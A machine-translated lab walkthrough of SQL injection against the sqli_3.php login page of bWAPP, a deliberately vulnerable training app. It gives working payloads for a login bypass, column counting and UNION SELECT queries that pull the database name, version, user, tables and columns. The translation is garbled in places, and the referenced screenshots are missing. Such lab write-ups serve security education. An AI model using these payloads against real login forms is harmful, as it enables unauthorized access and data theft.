The Bwapp of SQL injection sqli_3.php

Source: Internet
Author: User

1, first enter a single quotation mark in the login box to see what results, the result

Look carefully, the error content of "and" before there are four single quotes, indicating that we entered a single quotation mark and the code before the single quotation mark closed.
2, try to construct a universal password, try to enter
"Login=1 ' or 1=1--+
&password=
&form=submit ", as if not, in trying to enter
"Login=1 ' or 1=1 #+
&password=
&form=submit ", by the end,

3. Judge the number of fields and view the display bits:
Enter "Login=1 ' ORDER by 5 #+", quote "error:unknown column ' 5 ' in ' order clause '", enter "Login=1 ' ORDER by 4 #+", report "Invalid credentials ! ", the Description field is 4, the result


Enter "Login=-1 ' union select 1,2,3,4 #+", result

4, check the database and other information:
Enter "Login=-1" union Select 1,database (), 3,group_concat (version (), "| |", user ()) #+ ", knowing that the database name is Bwapp, the result

5. Query Table name:
Enter "Login=-1" union Select 1,database (), 3,table_name from Information_schema.tables where table_schema= ' Bwapp ' #+ ', Knowing that the table name is blog, the result

6. Query Field Name:
Enter "Login=-1" union Select 1,database (), 3,column_name from Information_schema.columns where table_name= ' Blog ' #+ ', Knowing that the field name is ID, the result

7, query the contents of the field:
Enter "Login=-1" union Select 1,database (), 3,id from Blog #+ ", no data.

The Bwapp of SQL injection sqli_3.php

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.